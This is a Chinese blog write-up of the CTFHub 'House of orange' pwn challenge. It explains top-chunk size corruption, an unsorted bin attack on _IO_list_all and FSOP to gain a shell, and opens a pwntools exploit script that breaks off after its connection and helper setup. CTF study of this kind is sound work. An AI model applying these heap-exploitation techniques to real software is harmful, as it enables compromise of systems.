CTFHub[技能树]-----House of orange

文章详细描述了在Houseoforange问题中如何利用堆溢出和unsortedbin攻击来修改内存中的chunk,并通过泄露和操纵内存地址获取shell的过程。作者分享了编写exploit代码的步骤,包括添加、编辑和显示笔记以控制内存布局,以及最终利用系统函数执行命令。

House of orange也是我第一次学,边学边做题,来来回回折腾了8小时,代码检查了一遍又一遍,没问题但总是打不成功,最后百度查了一下这个是概率成功,我哭了。白白浪费了这么久时间。

参考文章

pwn题堆利用的一些姿势 – IO_FILE

关于house of orange(unsorted bin attack &&FSOP)的学习总结

思路:

House of orange改top chunk的size位,之后申请一个大于top chunk的大小的chunk,会把old top chunk释放掉,之后就可以泄露地址。改写free chunk的内容。然后利用unsorted bin attack吧main_arena+88的地址写进 _IO_list_all

这里是篡改unsorted bin的之后内容,申请一个small bin大小的chunk拿到shell

在这里插入图片描述

EXP:

from pwn import *
from LibcSearcher import *

context(log_level='debug',arch='amd64', os='linux')
pwnfile = "./pwn"
io = remote("challenge-aa33f598e4074e46.sandbox.ctfhub.com",20723)
#io = process(pwnfile)
elf = ELF(pwnfile)
libc = ELF("./libc-2.23.so")

s       = lambda data               :io.send(data)
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

saulgoodman-q

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值